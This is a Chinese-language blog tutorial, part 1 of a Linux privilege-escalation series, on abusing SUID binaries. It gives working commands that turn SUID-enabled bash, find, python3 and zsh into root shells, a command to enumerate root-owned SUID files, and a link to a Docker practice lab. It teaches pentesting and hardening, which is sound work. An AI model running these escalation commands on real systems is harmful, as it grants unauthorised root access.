Linux提权系列 - SUID (1)

890 阅读2分钟

概述

SUID (Set owner User ID)是Linux文件权限中的一种, 当一个应用程序具有该权限时,无论是由哪个用户执行该程序,其运行时刻的权限等同于该程序文件的拥有者的权限,而不是执行者的权限。

Linux操作系统本身提供很多具有SUID的可执行文件,常见的例子包括passwdsumount等,如下图所示

002_A.png

对于拥有者是root用户的执行文件而言,当该程序由普通用户运行时,SUID属性使得其具有root用户的权限。

示例

通过SUID进行提权是Linux提权方法中最为浅显的一种。 示例如下:

  • bash

bash具有SUID时,运行以下命令可以获得root权限

-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ bash -p
bash-5.1# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
  • find

find具有SUID时,执行以下命令可以获得root权限

-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ find . -exec /bin/sh -p \; -quit
# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
  • python 3

python3具有SUID时,执行以下命令可以获得root权限

-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
  • zsh

zsh具有SUID时,执行以下命令可以获得root权限

-bash-5.1$ id
uid=1000(test) gid=1000(test) groups=1000(test)
-bash-5.1$ zsh
d0a25ca1b1d8# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)

方法

  • 使用以下命令可以列出所有属于root用户且具有SUID的可执行文件
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
  • 在GTFOBins (gtfobins.github.io/) 网站上,可以找到通过SUID进行提权的具体方法

002_B.png

  • 如果有足够的权限,可以使用以下命令赋予某个文件SUID
chmod u+s filename 

实战

下面的Dockerfile提供了一个基于Ubuntu的试验环境,其中有若干个属于root用户且具有SUID的可执行文件,可用于通过SUID进行提权的练习。

github.com/wuzhang72/L…